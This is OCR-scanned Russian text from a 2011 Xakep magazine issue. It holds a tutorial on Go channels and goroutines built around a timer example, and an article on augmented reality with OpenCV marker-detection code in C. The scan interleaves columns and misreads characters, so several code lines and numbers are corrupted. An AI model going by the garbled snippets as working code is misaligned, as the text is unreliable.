Go был представлен миру 1О ноября 2009 года и практически сразу

Go

позиционируют свое детище как системный язык,

писанно го на Си, с простотой разработки на более высокоуровневых скриптовых языках, да еще и со встроенными средствами параллель­

стал бестселлером. Одни только имена авторов, известных как соз­

ного программирования. При этом внешне

датели операционной системы

странную солянку из синтаксисов языков Си,

кодировки

UTF-B, а также покровительство Google, в лабораториях

которых был создан язык, дали

~100

UNIX, языка программирования Си и Go отличный старт. Однако даже это не

Go

напоминает какую-то

Pascal и АDА. что вкупе

с приведенным описанием создает довольно сильное ощущение

подвоха , почти такое же, какое возникает, когда слышишь о новой

ХАКЕР

04 /147/ 201 1


• Поддержку Go пла­ нируется включить

в компилятор версии

•в

GCC

4.6

комплект Go-

компилятора входит

утилита

gofmt,

позво­

ляющая отформати­ ровать исходный код

Результат работы программы после пяти ите-

по всем правилам.

раций цикла

Роб Пайк собственной персоной

• в Go допустимы рования использует собственную реализацию потоков

множественные при-

мега-разработке пятигорских студентов. Однако оно

внутри каждой программы, делающую потоки настолько

своения:

быстро убывает, когда ты начинаешь изучать язык, и со­

легкими, что их создание обходится практически даром.

всем улетучивается, когда узнаешь о том, почему

Go стал

Встроенный сборщик мусора также весьма проворен, в

именно таким, какой он есть.

языке просто нет элементов, которые могли бы усложнить

В основу

его работу.

Go положено три фундаментальных идеи:

1. Гарантия

высокой скорости компиляции и производи­

тельности приложений.

2. Простота

разработки и поддержки приложений, свой­

Простота разработки и tопровождения

ственная высокоуровневым скрип т овым языкам.

Go - системный язык, что , тем не менее , не мешаетему

3. Встроенные

быть достаточно высокоуровневым для того, чтобы обе­

средства параллель н ого программирова­

ния, позволяющие задействовать все имеющиеся ядра

i, j = j, i

спечить программиста всем необходимым для комфорт­

~

links

• Go FAQ: golang.org/ doc/go faq .html .

современныхпроцессоров.

ного и быстрого написания кода. Язык включает в себя

Что все это зна ч ит на деле? Разберемся с каждым из

такие высокоуровневые конструкции, какассоциативные

• Руководство

пунктов.

массивы и строки [которые можно сравнивать, копиро­

Gо-программиста:

Производительность

вать, вычислятьдлину, делать срезы). Он имеет средства

golang.org/doc/

для создания собственных т и п овданных [подобных клас­

go tutorial.html.

Даже очень п ростая рефере н сная реализация компи­

сам вдру г их языках), средства создания потоков и обмена

лятора с языка

данными между ними, и, конечно же, он лишен указателей,

Go способна за какие-то доли секунды

• Руководство по Go-

с генерировать на удивление быстрый код, скорость

способных ссылаться на любой участок памяти [срыв стека

исполнения которого будет сопоставима со скоростью

в программе, написанной на Go, невозможен в принципе) .

программированию:

исполнения кода, написанного на таких языках, как Си и

Однако главное, чтодаетGо программисту, это та самая

golang.org/doc/effective go .html.

эффективному

С++.Приэтом,вотличиеотсвоихпредков,компилятор

прямолинейность и очевидность синтаксиса, о которой

Go гарантирует проверкутипов, а результирующий код

мы говорили в предыдущем разделе. В этом смысле

получает встроенный сборщик мусора и собственный

очень похож на языки

механизмраспараллеливания.

ски любой синтаксический элемент язы ка следует общей

памятью: gоlапg.огg/

С самого начала язык проектировался таким образом,

логике и может быть явно и безошибочно интерпретиро­

doc/go mem.h t ml.

чтобы бытьлегко понятным и простым в«переваривании»

ван вне зависимости от его положения в коде. Например ,

нетолько человеку, но и машине. Многие синтаксические

совершить знаменитую ошибку объявления переменных,

и архитектурные элементы

описанную во всех гайдах по ст илистике оформления

Go были

задуманы если и не с

главной целью, то, по крайней мере, с оглядкой на возмож­

кода на языке Си, в

Go

Pascal, Modula и ОЬегоп: практиче­

Go

• Как Go управляет

просто невозможно:

ность их простого разбора программой, будь то компиля­

тор, дебаггер или даже среда разработки. Язык получился очень прямолинейным инедопускающим неочевидностей и спорных мест, которые могли бы привести компиля-

int *

а, Ь;

//

в Си и С ++ переменная "а" будет

указателем, но "Ь"

var

тор в замешательство [язык С++ - яркий примертакого

//

а, Ь

-

нет

*int j

в Go обе переменные будут указателями

неочевидного синтаксиса и общей механики, которые язык , созданный программистами и для про грамми­

заставляют головы программистов трещать, а компилятор

Go -

- медленно буксовать на месте ) .

стов. Это проявляется во всем, начиная отобрамления бло­

Многие другие элементы языка, не имеющие прямого

ков кода в стиле Си, неявного объявления типов, отсутствии

отношения к синтаксису, также были оптимизированы

необходимости ставить точку с запятой после каждого

заранее. Например, язык не имеет механизма неявного

выражения и заканчивая такими архитектурными реше­

приведения типов, что защищает программиста от оши­

ниями, как отсутствие механизма исключений и полноцен­

бок и позволяет сделать компилятор проще. В языке нет

ных классов [они были созданы дляупрощения жизни, но

полноценной реализации классов с их наследованием и

вместо этого при водят к запутыванию кода). Основная идея

полиморфизмом. Механизм пара л лельного программи-

языка втом, чтобы быть инструментом, который позволяет

ХА КЕР

04 /147/ 2011

~

101


The Go Playground

(How does this worl<?J

VI

Tvo bin.ary t:rees may Ье 0 '.1: dlft erent. shapes ,

/I

Ьцс

Ьауе

11 11 11 11

СЬе

S&\'Ie cont.ents. For examp l e:

1 3 5 7

11

1 3

11 11 Go's concurrency prlmitives roake lt

ему

to

11

trave r se and c ompare сЬе со псепсs 0'1: СУО trees

11

1п

par<!lllll!:l.

packaqe

rм.in

import ( nfmt." "r and"

11

А Tree 15 а bi nary tree v ith i nt eqer va l ues . t. ype Tree struct. ( Letc flТree Value int RiQ'ht "Tr ee

I COMPILE & RUN J

Examples: ~р':аrisоп=Э

true S~ Сопсепсs talse Dltter lпо Slzes talse Ditter inc;;r Values false Disslmllar

Web-интерфейс ДЛЯ запуска простых Go-приложений писать программы, вместо того , чтобы думать отом , заработают ли они

Код нашей про граммы

вообще [эта черта свойственна Си и, в еще большей степени,

1 package main

C++I.

2

Сре~~вапараллельного

3 import "time" 4 import "fmt"

программирования

Встроенные средства параллельного программирования сильная черта

- это самая

Go, и здесь среди языков общего назначения ему

просто нет равных [за исключением разве что Limbo, но он привязан к ОС Iпfегпоl. И выигрыш здесь не столько в том , что эти средства встроены в сам язык, ско л ько в том, что о н и реализуют очень п ростую

и эффективную модель , полност ью следующую теории взаимодей­

ств у ющих последовательных процессов Оссат и

5

6 func timer ( ch chan string , ns , count int ) { 7 for j := 1; j <= count; j++ { 8 time.Sleep(int64(ns)) 9 if j == count { 1е fmt. Printf ( " [timer] Отправляю последнее

[CSPI. Читатели , знакомые с

Limbo, должны хорошо понимать все преимущества CSP, а

сообщение .

блокировок, мьютексов и п рочих систем синхрон и зации, которые де­

13

лают параллельное программирование н евы:оосимой мукой и приво­

14

ch <- "стоп! " } else { fmt . Printf( " [timer] ch <- "продолжаем"

дят К изданию многостраничных книг о том, как писать многопоточные

15

}

приложения, автор

для остальных поясню. Вместо того, чтобы городить огород из потоков,

CSP Тони Хоар

предлагает простое и элегантное

11 12

1 ,СозданиепеременноЙ-канала.

16 fmt . Printf ( " [timer] 17 } 18 } 19 2е func main () { 21 var str string

2. Определение функции, которая принимает переменную-канал в

22

качестве аргумента, а в своем теле содержит код, который должен

быть выполнен в отдельной нити. В конце фу н к ц ия должна от п равить

23 24

результат своего выполнения в канал [ это дел ается с помо щ ью специ­

25

ального оператораl.

Функция ответвляется отосновного потока исполнения, который в это

26 27 28 29

время переходит к ожи д а н ию данных в канале, резул ьтат испол н е н ия

зе

решение: позволить приложению в любой момент создать новую нить, которая сможет общаться с родителем и другими нитями с помощью отправки с и нхронных сообще н ий.

8 Go зта идея выглядиттак:

3, Запуск функции в отдельном потоке с помощью ключевого слова «go». 4. Чтение из канала.

При мер Один ИЗ моих любимых примеров , демонстрирующих мощь языка

-

Go,

это реализация таймера, который вы п олняется в отдельном потоке

и «стучит» о с новному потоку чере з определенные интервалы време­

Отправляю ... \п" )

Отправил! \п" )

ch :=make(chan string ) go timer(ch, 1еееееееее ,

1е )

for { fmt . Printf( " [main] Принимаю ... \п" ) str = <-ch i f str == "стоп! " { fmt . Printf ( " [main] Принял последнее

функции отправляется в канал и основной поток получаетего. Просто , не так ли? Но как это будет выглядеть в коде?

.. \п" )

сообщение,

эавершаю работу. \п " )

31 32 33 34 35

return } else { fmt . Printf( " [main]

Принято! \п" )

}

36 }

ни, втечение которых уходит в сон. Код этой программы, написанный на одном из « классических» языков программирования , выглядел

Простейшая реализация этой программы заняла бы пятнадцать

бы громоздким и з апутанным, н о

строк, но я намеренно усложнил ее, добавив вывод на терминал и

красивым.

~102

Go

позволяет сделать его простым и

условные выражения. О н и п омогут п онять общий син таксис языка и

ХАКЕР

04/147/ 2011


~айл

ПЕ.авка

Инс т рументы

'интаксис

gyферы

QKHO

Сnpавка

Encoding .l:::ielp

,I:1ackage main irapo r t "time" 'i l1lport "fmt" 'func timer(ch chan string , П5, count int) for j := 1; j <= count; j++ ( timе . 51еер(iпtб 4 (ПS))

if j == count ( . f mt .Printf( " [timer]

ch

<-

Отправляю последнее сообщение

.. . \ п " )

" с топ~"

else ( fmt .Printf( " [timer] ch <- "продолжаем" } fmt . Printf( " [timer]

Отправляю .

. . \п " )

Отправил' \ п " )

I} ', func

mai ~~~ ~t r

string

ch := make ( chan string) go timer(ch, 1000000000 , 5 ) for ( fmt .Printf( "[maln] Принимаю . .. \ п " ) str = <-ch if str == " с топ'" ( fmt.Printf( "[maln] Принял последнее сообщение, завершаю работу . \ п " ) return else ( fmt.Printf( "[mainJ ПРИНЯIО! \ П " )

-/ Dropbox / art / x cod1ng go / test . go IgoJ

в стандартную поставку

Go

112

Ох70

входят плагины ДЛЯ всех популярных сред программирования, в том числе

механизм работы планировщика потоков

Go. Вывод команды при­

[l,lJ[2 ~ J

Vim

рамлены скобками. У нашей функции возвращаемого значения нет­

веден на скриншоте. На первый взглядлистингочень напоминает

уйдя в отдельный поток, она так или иначе ничего вернуть не сможет.

код программы, написанной на языке Си, С++ или даже

Java, но при

Функция должна повторить процедуру «сон

более детальном изучении становятся видны различия

- Go унасле­

переменной

довал от Си только базовый синтаксис, в то время как большинство

- отчет» указанное в

число раз, поэтому в строке

7 начинается

цикл

for,

запись которого полностью аналогична своему собрату в языке Си, за исключением отсутствия скобок.

ключевых слов и лексика изменились.

Исходный код начинается с ключевого слова

count

package,

следом за

которым идет имя пакета, к которому этот код относится. Все за­ пускаемые пользователем программы должны иметь имя

main, тогда

Чтобы отправить поток

timer в сон мы используем функцию Sleep

!строка 81 из ранее импортированного пакета time. Ее аргумент, задающий длительность сна, должен иметь тип iпt641аналогичный

как библиотеки могут иметь произвольное имя, которое будет исполь­

типу long в Сиl, поэтому мы должны использовать приведение типов,

зовано для доступа к ее функциям и переменным после импортиро­

компилятор не сделает это за нас lи правильно, мы YMHeel.

вания. При этом для пометки, должна ли функция или переменная

Чтобы головной поток знал, когда поток

быть экспортируемой , используется верхний регистр: все объекты,

обработать эту ситуацию,

t imer завершится, и смог

timer должен предупредить его. Поэтому в

имена которых начинаются с большой буквы, будут экс п ортированы,

строках с

остальные останутся приватными.

числа повторений сна. Для этого используется стандартный оператор

В строках

if,

3 и 4 происходит импортирование пакетов t ime и fmt,

9 по 15 происходит проверка на достижение максимального

который со времен Си остался неизменным, но так же, как и

for,

функции которых понадобятся нам позже. Импортирование пакетов

потерял скобки. Если это п оследнее повторение, на экран выводится

во многом очень похоже на включение в программу заголовочных

«Отправляю последнее сообщение ... », а в канал поступает сообще­

файлов , как это делается в Си и С++, С тем исключением, что

ние «Стоп l », В противном случае на экране появится «Отправляю

Go,

во-первых, следит за пространством имен и все импортированные

сообщения ... », а в канал пойдет «Продолжаем». Каналы в

функции, переменные и типы данных будут иметь префикс в виде

рованы, поэтому в канал

имени пакета, а во-вторых, не требует наличия самих заголовочных

отправить только строку Iпроверка типов в Go осуществляется во

файлов. Никакой возни с хидерами и пространством именl

время компиляции , поэтому ошибки легко отловиты.

Со строки 6 начинается описание функции timerll нашего главного

В строке

действующего лица. В последующем коде она будет отправлена в

печати строки «Отправил l » на экран.

ch , объявленный

с типом

Go типизи­

chan string,

можно

16 поток подтверждает отправку сообщения с помощью

отдельный поток, и большую часть времени проведет во сне, а про­

Как и в Си, в

сыпаясь, будет отчитываться головному потоку. Чтобы сделать это,

main !строки с 20 по 361 , в рамках которой будет выполняться основ­

ей нужен доступ к каналу, поэтому первый аргумент функции

НОЙ поток. Все, что должна сделать наша функция

- это ch

типа «канал для передачи строк». Также ей нужно знать времен,ной

Go индикатором начала программы является функция

новый канал, передать его функции

main, это создать

timer, отправить его в отдельный

отрезок, в течение которого она может спать, и то, сколько раз она

поток и ждать результатов.

сможет это сделать. Поэтому второй и третий аргументы

Чтобы получать сообщения из канала, понадобится переменная­

- это пs и

count типа int. Обрати внимание на форму описания аргументов. В

приемник. Эту роль будет выполнять переменная stгтипа

отличие от Си, в

объявленная в начале функции с помощью ключевого слова var lee

Go

сначала идет имя переменной, и лишь после­

string,

ее тип Iчто логично И согласуется с системой мышления человека:

значением автоматически станет nil, что эквивалентно NULL в Сиl.

«переменная такая-то такого-то типа» l . Тип возвращаемого функци­

Для создания канала используется встроенная функция makell!cTpo-

ей значения в

ка 231, которая просто выделяет память под указанный тип данных и

Go следует помещать в конец, сразу за закрывающей

скобкой Iчто, кстати, тоже логичноl. При этом , если функция должна

инициализирует его нулевым значением. Кроме каналов с помощью

возвращать несколько значений IB Go это возможноl, их типы и

make

10пциональноI имена должны быть перечислены через запятую и об-

деления памяти используется newll. Мы не можем просто объявить

ХАК Е Р

04 /147/ 2011

можно создавать ассоциативные массивы и срезы, для вы­

~10 З


заблокирован , даже если в канале нет сообщения. Вместо этого в •• 0 _••• ·

переменную

ok

будет записано значение

false

и работа потока про- ·

должится. Естественно, дальше можно поместить проверку на

8U11dTo.btt •

Lllillglh l lOlmyauCIМ1Ubmt81!f'(1jкt101Ito

IIItUИd ln llll l Sl

ag .AtIu~IOOII(IrGo II\ Go "N

. ~ . А>CI!tn:l t"--"""'''' $\JII'' .'*'' .,

.•JWV~. \IOOd'''OI' 'tWtOn;I. ''t .."

Ottcnplfon i~===

· ~ . Ac~gt~IJ\e("'"ltНl'flOt~GoPl'ajкlsIIISCOl\I 'oo! · UШII · l.JbI.,.,toР<IМ"' 8'It·Go· ~ "'lI'IlI\IIomtOoll"""'Сa'lЬе llll'd tl) ...m.tмkl кnotl. OtfIIoVюj p!l. t« I'"

• gb · A(rIcIIwI WldlllOlb (PII. l eo . ... ,. .. ItI!IP'I8I1tOnnUl.~protкJS , .... • \IfI;:Q,O!I:1 . I II!nI>Itllnllrlor \ICIprO!J8ПII ~".""'"

I

• g!IIID , "lIrt1>1tp..allloklloOlforGo ,,,

«ok ==

false» и ус п еть вы полнить какую -то полезную работу, а затем начать

Iubmlla Projett

н овую итерацию цикла и вновь п о пр обовать получить з нач ен и е. Кстати, так им же образом можно выполни ть проверку в потокеотправителе:

< - « Продолжаем»

• IIIIIIIUI · GoDlAlcltoCllllltuldnlI8S18CМnc.a1Т\&.~.pr~,..",,,, (onfI gtnIIOn I",,_"" • 0IIIIIUI · AI.tornII>cIкn.:l1OCll8ll'l1l9I11f'1CМt. МllЦЫnIor~Goi\fOlt«s \

ok := ch

' IJQIIAg . AIroI'ttI'4IQ""Go(~collf<kll'l ''''

2. Каналы в Go могутбытьбуферизированы , то естьуметь накапли­

. ~ . Aron.gt9JIUIII """_

' 1ID:ИI1 .Iim(II8LAiIqt IO II'"""I~ .... lпII'IIgosoun::.foIn l'"

1IIIt _ 0о0tl;кl~R8(

_ _ . W'Cf~8I.CG-WkIfOaI .... ., СОО"-, , .~

' ~ ' ''''''''''''ИlIJ/SCont~, farGo ',''

. 9AI!I:Q • ....,,~"'tpO(l'IOflO~ ·gIМtI(,. .... • ~ . Atuld lOOl ""'*IIIRIb(I ....

·.<!

вать определенное количество сообщений ДОТОГО, как отсылающая

_.l"'..

сторона будет заблокирована . Для этого достаточно всего лишь до ­

CKtllng .

~ . gox8Cr.. "'_1

~ . ~mмncl(Мd""," In Ol> ""

бавить один дополнительный аргумент в вызов функции

Список проектов, использующих язык

Go,

растет

ch : = make( chan string ,

с каждым днем

//

переменнуютипа сhап st гiпg и работать с ней, п отому что буфер, ис­

make :

lе )

создать канал с буфером в lе позиций

Замечу, од н ако, что в нашей программе это не даст результата. Во

пользуемый для хранения передаваемых по каналу данных, не будет

время сна поток

выделен. Также обрати внимание на неявное объявление перемен­

единомоментно, так как после каждого его засыпания управление

timer не сможет заполнить канал сообщениями

ной ch, которое происходит с помощью оператора «:= » [типизация

все равно будет переходить головному потоку.

при этом сохраняется, переменная будет иметь тип присваиваемого

3.

значения].

править их в отдельные потоки, тогда они будут спокойно работать

В строке

24 timer наконец-то отправляется

в отдельный поток. При­

В программу можно добавить одн у или несколько функций и от­

с ов е ршенно параллельно, а когда таймер « прозвенит» заданное ко­

чем делается это с помощью одного-единствен н ого ключевого слова

личество раз, все они будутуничтожены вместе с головным потоком.

-go.

Однако , если мы эахотим получить реэультатотэтих потоков через

Теперь, когда

timer был отправлен выполнять свое задан и е , гол овно­

канал, то опять упремся в блокировки либо будем вынуждены делать

му потоку остается только ждать сообще ний . Для при ема сообщений

множество пр оверок н а наличие сообщений в ка н алах , как описано в

из потока в

первом пункте. Н о это го можно избежать, если применить «опе р атор

Go используется уже о пи сан ный ранее опера тор <<<-» ,

который теперь следует направит ь «из п отока в принимающую пере­

выбора потоков»:

менную» :

str

=

select { case str

<-c h

// Но если бы мы добавили в код только одну эту строку, то головной

//

и в конце концов завер шил ся , не обработав остальные сообщения.

обрабатываем сообщение от второго потока

case str

26 по 35.

Go не име ет в своем составе «настоящего» whi le, п оэтому, если требу­

<-chl:

case str = <-ch2:

поток продолжил бы работать после получения первого сообщения Поэтому нам н уже н бесконечный цикл . Он занимает строки с

=

обрабатываем сообщение от первого потока

//

=

<-ch3:

обрабатываем сообщение от третьего потока

}

ется создать условный оператор цикла, то следует просто пом естить

условие после ключевого слова for и н е париться [и ли вообще ничего

Программа будет заблокирована на операторе

не указывать, как это сделал я].

та, пока в одном из каналов не появится сообщение. После этого бу­

При каждой итерации цикла в переменную ся сообщение, при шедшее от потока

str будет записывать-

timer, и , в зависимости от

select до того

момен­

дет выполнен соответствующий блок . Чтобы после обработки одного

сообщения

select вновь переходил к прослушке каналов , его следует

содержимого сообще ния, будет выбираться тот или иной вариант

поместить внутрь бесконечного цикла . При этом, если в моменты

дальнейших действий. Обрати внимание, язык позволяет спокойно

между поступлениями сообщений потокдолжен выполнять какую-то

с равниват ь строки без всяких подсобных функций. Кроме того, ты

работу, то ее следует поместить в блок

можешь пол учать их срезы и копии [на манер руthоп или ruby] и вы­

Оператор se lect очень широко исполь з уется в Go-

default внутри select.

числять длину с помощью ключевого слова [еп [все это справедливо

программировании, именно с его помощью принято создавать «дис­

и в отношении массивов ] .

петчеры сооб щ е ний » , которые разветвляют программу на множество

Для запуска программы потребуется компилятор, который можно

потоков сраэу по сле старта, а затем входят в беско нечн ый цикл и

скачать с официального сайта языка [правда по ка досту пны только

начинаютобработку пришедших от них сообщений. В операционной

версии для UNIX, Рlап9 и MacOS Х]. Если ставить его не хо ч ется [или у

системе Inferno [все приложения которой написаны на Gо -пр едке

тебя Windows], пр ограмму можно запустить, используя специальную

Limbo] таким образом реализован многооконный графический

форму на сайте golang.org [правда, из - за ограничения на длитель­

интерфейс.

ность работы программы прод олжительность сна потока timer при­ дется сильно сократить]. Это все.

Выводы Go пока еще молодой, но очень перспективный язык, при создании

Постойте, но ведь это не МНОГОПО10ЧНОСТЬ?

ботки операционных систем и языков программирования [Р об П айк

Да, ты нав е рняка заметил, что из-за бл окировок ка н алов даже на

двадцать л ет за нимал ся исследованиями в области многопоточного

многоядерном процессоре одновременно активным будеттолько

пр ограм мир ова ния, в течени е которых были создан ы языки

один п оток наш ей пр о граммы , тогда как другой буд ет ждать отправку/

NewSqueak и Limbo]. Go производителен, дружелюбе н к программи­

прием сооб щ ения. Это дей ствительно так, и для решения этой про ­

ста м и красив.

блемы

Освоив этот язык, ты сможешь писать программы, которые будут

1.

Go располагает рядом средств.

Каналы можно проверять на наличие сообщений. Если строку

«str = <-ch»

~104

заменить на

«str, ok = <-ch », то

головной поток не будет

которого был учтен более чем тридцатилетний опыт в области разра­

Sq ueak ,

гораздо эффективнее всего того , что написано на традиционных языках программирования.:х:

ХАКЕР

04 11471 201 1


v

ПРОКАЧАИ свою

РЕ

ЬНОСТЬ'

Augmented reality для терминаторов и не только С) Виртуальная реальность не раз описывалась в книгах, фильмах и СМИ. Но на практике полная виртуализация ощущений неудобна, ведь человек не может абсолютно отгородиться от реального мира. Сегодня мы поговорим о популярной концепции интерфейсов, объе­ диняющей в себе реальные объекты с виртуальными - о дополнен-

..

нои реальности.

Хорошо забытое старое

менить реальный мир на поддельный, а дополни ть его элементами ,

На самом деле идея дополненной реальности далеко нетак нова,

облегчающими пользование и навигацию . Благодаря доступности

как кажется . В боевых самолетах и танках уже давно применяется

компьютеров, web-камер и GРS-навигаторов в

нашлемная индикация, быстро и удобно совмещающая реальную

добных интерфейсов получили широкое распространение в коммер­

панораму обзора со служебной информацией.

ческой и развлекательной сфере.

Да что тут говорить

Оснащенность мобильных телефонов необходимыми техническими

- раритетные VНS - видеомагнитофоны и то были

XXI

веке модели п о­

способны выводить направление перемотки и хронометраж поверх

сред ствами существенно расширила область применения

изображения . Бегущие информационные строки в новостях и всплы­

сегодня и х не печатают разве что на туалетной бумаге. Прижилось и

вающие плашки с фамилиями при интервью

активно используется сокращение

-

все это дополненная

реально ст ь втом или ином виде. Идея такого интерфейса

ХАКЕР

04 /147/2011

-

не за-

QR-KOAOB,

AR - от английского Augmented

Reality.

~105


• • Fagot Is ati eff ram aH. rul

ДR-примерочная в браузере ДR в истребителе изображение товара его стоимостью и другими параметрами. Выделение необ ходимы х технологических элементов на изоб р аже ­ нии попадает в эту же ниш у. К прим еру, подсвет ка объектов , п охож и х по форме на оружие, или графическая ин д икация при ра с познавании

человеческихлиц в кадре [функция, часто встречающая ся в сов ре­ менных фотоаппарата х]. Все это, безуслов н о , тоже AR. В ки ноиндуст рии и сфере развлечений при меняется реконструкция трехме рны х координат опорных маркеров с целью дополнения изо­

бражения виртуальными объектами, привязанными к этим коорди н а­ там.

Так как найти компьютер с веб-камерой или просто несколько файлов с подходящ ими фотографиями сегодня не пред ста вляет никакого труда, то дальше мы будем вест и речь о созда нии с истем дополненной реальности « второг о направления ».

Терминатор знал толк в

AR

Howifsmade

Необходимое

В основе любого АR-приложения, использующего анализ по сту паю­

Оt)орудоьание

щей с камеры картин ки, безусловно, лежит система компьютерного

Д ополненная реальность

зрен ия . Можно создавать такую систему самому, но проще взять

- об щий термин, охватывающий широкий

круг приложений , Каждое из них преследует свои цели и реализуется

готовую. Одной из наиболее известн ых библиотек, реализующих по­

с помощью различны х те х нологий, В сов ременной индустрии можно

добный функционал, является OpenCV !Ореп Source ComputerVision

усло вно выделить два технологических направления, П ервое

-

со­

Libraгy

-

б и бли отека ком пьютерн о го з р е ния с отк рыты м исходным

вмещение изображения, пол учаемо го с камеры, с информацией,

кодом ] . Это ве сь ма серьезный фреЙмворк. В первую очередь он

генерируемой на основе показаний различных датчиков, взаимодей ­

предоставляет

ствующих с реальным миром : например, компаса и

ских и ко нфи гу р а ц ион н ых утилит. Затем

GPS

навигатора.

Та кой тандем позволяет рассчитывать коорди наты объектов, п о пада­

RTL в видетипов, базовых примитивов, математиче­ - сред ства п ост-обработки

изображений, н е си л ь н о уступающие по возможностям графическим

ющих в объектив, и пол учать для ни х д ополнительные параметры . Э то

редакторам; непосред ственно сами алгоритмы ком пьютерного

могут бы ть как простые отображения координат, направления дви ­

зрения, позволяющие выделять на изоб ра жении геометрические

жени я, пол ожения на карте и прочее, та к и вещи куда более слож н ые.

объекты и работать с НИМИ; а также высокоуровневые обвязки дл я

К прим еру, су щ ествует сервис

досту па к камере, отображения

Layar, предоставляющий мобильным

АR-браузерам информацию об объектах с о пределенными координа­

GU I и прочего. Н у и на закуску - би­

блиотека хо рошо документирована и имеет крайне демократичную

там и. Это позволяет отображать на экране смартфона разнообразные

ВSD-лицензию. Список платформ, где работаетОрепСV, также весьма

подсказки

радует - это как минимум Windows, L i пu х, Free BSD и Ma cOS Х.

-

от названий тури стических достопримечательностей до

объявлений о пр одаже недвижимости и рейтинга х ресторанов, со­ ставлен н ых их посетителями . Подобный сервисуже больше похож на

Первое ОрепСV-приложение

кадры из фантастических фильмов о буду щем.

Вот и настало время приступить к написанию приложения с исполь ­

Вт орое направление обыч н о не тр ебует от периферии ничего,

зова нием ОрепСV. Н аше первое приложе ни е будет искать ч етыреху­

кроме н аличия камеры, полагаясь на те х ноло гии распознавания

гольный базис маркера на заданной картинке , чтобы потом [в теории]

изображений , Такие системы не могут решать задачи инфор­

передать его на дальнейш ую обработку. На этом простом примере мы

мационного геоориентирования, обыч н о о н и используются в

разберем о с н ов ные функции и пр авила п остроения вызовов.

л ока л ьно м про стра н стве. Расшифровка и нформации, которую

В первую очередь н ам н уж на ка рт инка, с которой мы будем работать .

не сут в себе штри х-коды и бар-коды

Картинки в

~106

-

их задача, они дополняют

OpenCV либо создаются пустыми с помощью функции ХАКЕР

04 11471 2011


Приложения

Augmented Reality не ограничиваются развлекательным

сектором: к примеру,

на

OpenCV

построены

очень многие интел ­

лектуальные сис темы

видеонаблюдения в сфере безопасности.

Подсветка лица в кадре -

АR-браузер на основе сервиса

Layar

тоже

AR

cvThreshold(img_hist, img_thr, 127 , 255 , CV_THRESH_BINARY); Ipllmage *img_thr_bkp = cvClonelmage(img_thr);

cvCreatelmage, либо загружаются из файлов с п омощью в конце я создаю бэкап ка ртинки, так как она понадобится

су ществующие изображения с помощью

мне позже, но исходный вариант«испортится» в процессе

cvClonel mage.

поиска контуров. Теперь, когда препроцес с инг проведен,

больше не нужны, необходимо освободить их с помощью

можно при ступить непосредственно к оконтуриванию.

вызова

Тут стоит обратить внимание на то, что связный список,

cvReleaselmage. Мы будем загружать первичное

изображение из файла:

dvd

На диске ты найдешь исходные коды опи­

сываем ых примеров,

cvLoadlmage, либо копируются из указателей на уже Когда ресурсы, выделенные под хранение изображения,

~

а также последние

версии OpenCV ARToolkit.

и

в котором хранятся контур ы, относится к примитивам,

находящим ся в специа льных пулах памяти [в одном пуле

IplImage *img_orig = cvLoadlmage( " image . j pg " );

может быть больше одно го примитиваl, и эти пулы не­ обходимо создавать , а потом , при ненадобности, удалять.

Чтобы контролировать процесс, будем отображать

В принципе, это удобно , так как позволяет реализовать

каждый этап на экране и ожидать нажатия клавиши,

концепцию сборки мусора.

прежде чем перейти к следующему. Для отображения нам необходимо окно, которое тоже придется создать. Окна в ОрепСVадресуются по символьным именам. Своеобраз­ но, но жить можно.

cvNamedWindow( " ХаКеР OpenCV Window " , CV_WINDOW_AUTOSIZE); cvShowlmage( " ХаКеР OpenCV Window " , img_orig); cvWaitKey( 0 ) ;

CvMemStorage *s torage = cvCreateMemStorage( 0 ); CvSeq *contours = NULL; cvFindContours(img_thr, storage, &contours);

~

Links

• Здесь живет OpenCV: httpl/goo.gl/Erg2f. • Неплохая подборка OpenCV:

П олучив список контуров, нужно его отфильтровать.

уроков по

Сначала мы проводим аппроксимацию с необходимой

http://goo.gl/Ls2JM .

точностью [ я взял 2% отклоненияl, чтобы учитывать только резкие углы, а не каждый незначительный изгиб. Следую­ щим шагом мы проверяем, что аппроксимированный кон­

• Страничка ARToolkit: hitl.wash-

Далее необходимо сделать пр е пр оцессинг изображе­

тур имеет четыре угла, достаточную площадь и является

i ng to n .ed и/а rtoolkit .

ния, чтобы подготовить е го к п оиску контуров. Я выбрал

выпуклым многоугольником. Если контур удовлетворяет

алгоритм, состоящий из трех шагов. Сначала мы просто

условию, мы рисуем его на исходном изображении:

обесцвечиваем изображение. Если бы у нас стояла зада­ ча искать прямоугольник какого-то опреде л енного цвета,

то вместо этого пришлось бы делат ь выделение цветового канала . Вторым шагом мы делаем эквалайзинг гисто­ граммы изображения, чтобы заполнить всю яркостную

шкалу и таким образом исправить слишком темное [либо

• Сервис Layar: layar.com .

while (contours) { CvSeq *result = cvApproxPoly( ... cvContourPerimeter(contours)*0.02 .. . ); if (result- >total==4 && cvContourArea(result) >= 100 && cvCheckContourConvexi ty (result) )

наоборот, пересвеченноеl изображение. И, наконец, мы делаем пороговую бинаризацию

- все, что темнее 50%,

становится черным, а все, что светлее

cvDrawContours(img_orig, result, . .. );

- белым. Так как

у нас 8-битная шкала, то это будут границы

0-127-255.

Также я хочу реконструировать изображения найденных

Основные моменты кода за пропуском несущественных

[п отенциальноl маркеров, рассчитав им матрицы аффин­

деталей будут выглядеть воттак:

ных преобразований и создав новые картинки посред­

ством применения этих матриц. Применять их, кстати, я

cvCvtColor(img_orig, img_gray, CV_RGB2GRAY); cvEqualizeHist(img_gray, img_hist); ХАКЕР

04/147/2011

буду к тому самому бэкапу, сделанному в самом начале. В качестве расчетных значений мы возьмем координаты

~107


• • Fag ot IsaLieffГt1maH . rul

1. Edge features

[J~~~ (d) (а)

(ь)

(е)

2~fe[JIJ~~ ~~ ~

(а) (ь) (е)

(е)

(d)

(1)

~~

3. Center-surround features Поиск маркера с помощью

OpenCV

~~

четырехугольника, прошедшего пр оверку, и новой квадратной кар­

т ин к и 200х20 0, на звав их

srcQuad и dstQuad соотв етственно:

4. Speeia\ diagona\\ine feature used in [3 ,4,5] CvMat *warp_mat = сvСrеаtеМаt( З , З , СV_З2FС1) ; cvGetPerspectiveTransform(srcQuad, dstQuad, warp_mat); IplImage * mrk = cvCreatelmage(cvSize( 200 , 200 ), 8, 1 ); cvWarpPerspective(img_thr_bkp, mrk, warp_mat) ;

~ Элементы, применяемые при поиске объектов

Получившиеся картинки я сохраню в м ассиве , а по зже покажу на

производим перебор всех найденных пр ямоугольников, и рисуем их

экране. Вот, в принципе, и все. Результат работы этой небольшой про-

на исходной картинке:

граммки можно уви деть на иллюстрации. Я считаю, что для ужасного качества исходного изображения р езультат превос ходе н

-

мы нашли

